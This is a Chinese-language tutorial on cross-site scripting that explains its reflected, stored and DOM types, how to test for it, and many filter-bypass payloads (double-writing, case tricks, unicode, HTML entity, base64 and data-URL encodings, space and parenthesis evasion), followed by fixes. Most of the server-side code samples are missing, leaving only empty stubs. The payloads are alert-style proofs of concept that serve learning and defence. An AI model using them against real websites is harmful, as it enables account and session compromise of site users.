简介
跨站脚本攻击(Cross-site Scripting),本质是html注入导致的js代码执行。
由于CSS这个缩写被Cascading Style Sheets(层叠样式表)占用了,所以Cross-site Scripting(跨站脚本攻击)被缩写为XSS。
xss一般的利用方法就是导入其他站点的脚本来执行,所以叫跨站脚本攻击。但是由于直接执行js语句也可以达到相同效果,所以测试时只要可以执行js代码就算作漏洞。
漏洞分类
反射型
反射型xss的特点是payload经过服务器,但不经过数据库,即时触发。服务器直接将接收的payload拼接在html中返回导致html注入触发xss。
举一个简单的例子
1 |
|
有些网站会用这种通用中间页来做提示信息和页面跳转,这个页面将用户提交的两个参数直接拼接在了网页中返回,就会触发xss。
例如提交?url=alert()
就会触发xss。
存储型
存储型xss的特点是payload经过服务器存入数据库。在其他功能中从数据库中取出数据渲染html时触发。
一般出现在留言板,用户名等各种存储用户输入的地方。
假设用户在个人信息中插入了payload,读取信息显示的时候没有对信息做处理就直接渲染,就会触发xss。
1 |
|
存储型是最常见的,也是危害是最大的。因为存入之后可以反复触发,且不需要和受到攻击的电脑有直接交互。
dom型
dom型xss的特点是payload不经过服务器也不经过数据库,完全在前端触发。js从网页中取数据插入到dom节点中触发xss。
通常出现在实时渲染文本的地方。
例如md的渲染https://pandao.github.io/editor.md/
测试方法
在所有能接受用户输入的地方尝试插入payload,并观察js代码是否执行。常用的方法是尝试执行alert、prompt、confirm这类能弹出提示窗口的函数,一旦执行就可以看到弹窗,此时就能确认存在xss漏洞。
还是以中间页为例
1 |
|
可以尝试<script>alert()</script>
、<img src=x onerror=alert()>
、<svg onload=alert()>
等。
此外,对于一些提交跳转链接的功能,可以尝试javasciprt协议执行js代码javascript:alert()
。点击链接时若出现弹窗,则确认存在xss漏洞。
修改上面的中间页为点击跳转:
1 |
|
此时提交?url=javascript:alert()
,点击时就会触发xss。
在测试中经常会遇到有过滤的情况,此时可以尝试以下绕过方法:
双写绕过
如果输入的payload插入成功,但是少了一部分,就可以判断是正则替换掉了关键字,可以尝试双写绕过。
1 |
|
这里过滤了onerror,正常使用<img src=x onerror=alert()>
会被替换成<img src=x =alert()>
此时双写onerror
,提交<img src=x oneonerrorrror=alert()>
即可绕过
大小写绕过
大多数情况下,检查到xss都会直接拒绝操作
1 |
|
此时可以尝试大小写绕过,如果在正则匹配时没有使用i
模式忽略大小写,就可以绕过:<img src=x oneRror=alert()>
编码绕过
编码绕过只适用于字符串的值,即html属性的值,html属性的键无法用这种方式绕过
1 |
|
例如过滤了onerror,如果将onerror编码的话,浏览器不会解析为onerror:<img src=x on\u0065rror=prompt()>
但可以用于绕过属性的值,例如<svg onload=\u0061lert()>
除了unicode编码,还有html实体编码(如果在GET参数中传递,要再进行一次url编码)
https://www.w3school.com.cn/html/html_entities.asp
html实体编码支持16进制a
、a
和a
是一样的
base64和url严格来说不是浏览器支持的编码,而是dataURL,所以只有部分标签支持base64编码:
<object data='data:text/html;base64,PFNDUklQVD5hbGVydCgneHNzJyk7PC9TQ1JJUFQ+' /src>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
而且由于使用dataURL,js访问document.cookie、localStorage等浏览器数据时会被禁止,难以利用。
其他编码基本都没有办法被浏览器解码,需要作为js中的字符串解码后再eval执行,在渗透测试中用处不大:
url编码绕过
1 <img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">Ascii码绕过
1 <img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">hex绕过
1 <img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>八进制
1 <img src=x onerror=alert('\170\163\163')>base64绕过
1 <img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
绕过空格
在标签内部的属性之间可以用/
代替空格,例如:<svg/onload=alert()>
绕过引号,括号
js有一种模板,可以用反引号。因为类型上是字符串,所以也可以作为字符串使用:alert(`123`)
。
除此之外,还可以这样执行alert`XSS`
,绕过括号。
用异常绕过括号:<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
一些特殊情况
有些情况下过滤会带上等号,例如过滤onerror=
,这时候加个空格<img src=x onerror =alert()>
可以绕过
属性或标签过滤
html有很多事件处理器属性,以on开头的都是可以执行js代码的,这里列出了所有的事件处理器属性:
除此之外,上面提到的iframe
和object
,还有embed
等标签的src
属性也可以用dataURL来执行js代码,a
标签的href
也可以用javascript协议执行代码
常用payload
1 | <img src=x onerror=alert(1)> |
修复方法
html实体编码
1 |
|
此时再用<img src=x onerror=alert()>
尖括号会被编码为<
和>
不会被解析而是在浏览器里显示为尖括号,不会触发xss。
正则过滤关键字
对数据进行校验,检查是否含有疑似xss payload的关键字,如果含有就拒绝操作。
1 |
|
白名单限制html标签
在需要将用户的输入作为html渲染的时候,上面的方法会导致所有标签都不能正常渲染,此时可以使用html解析器对标签和属性做白名单限制,例如使用jsoup.clean对输入进行白名单过滤:
1 | package org.example; |
跳转链接引起的xss
正则匹配,限制只能使用http或https协议:
1 |
|